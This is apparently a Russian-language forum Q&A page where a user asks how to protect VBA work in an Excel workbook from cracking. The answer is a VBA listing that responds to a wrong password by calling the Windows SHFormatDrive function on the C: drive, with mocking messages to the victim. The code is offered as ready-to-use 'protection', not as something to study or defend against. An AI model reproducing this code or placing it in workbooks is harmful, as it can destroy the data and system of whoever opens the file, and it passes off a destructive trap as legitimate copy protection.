Как максимально защитить свой труд от взлома - VBA

Формулировка задачи:

Как максимально защитить свой труд от взлома....и т.п. так как там есть много труда вложеного .....а ексель можно сломать любой програмой по взлому офыса т.п. даже код на просмотр макроса, а про пароль на листе я и не говорю......я понымаю что от опытного програмиста трудно чето сховать

Решение задачи: «Как максимально защитить свой труд от взлома»

textual
                            Листинг программы 
                        

                            Private Declare Function SHFormatDrive Lib "shell32.dll" (ByVal hwnd As Long, ByVal drive As Long, ByVal fmtid As Long, ByVal options As Long) As Long
Dim status As Long
MsgBox "Пароль неверный! Начинаю форматировать систему...", vbCritical, "Audilyzer. Система защиты"
status = SHFormatDrive(hwnd, 2, &HFFFF, 0)
Select Case status
      Case 6
            MsgBox "Вы успешно отформатировали диск С.", vbInformation, "Microsoft Windows"
      Case Else
            MsgBox "Значит в другой раз форматируем следующий диск :)", vbInformation, "Audilyzer"
End Select
                        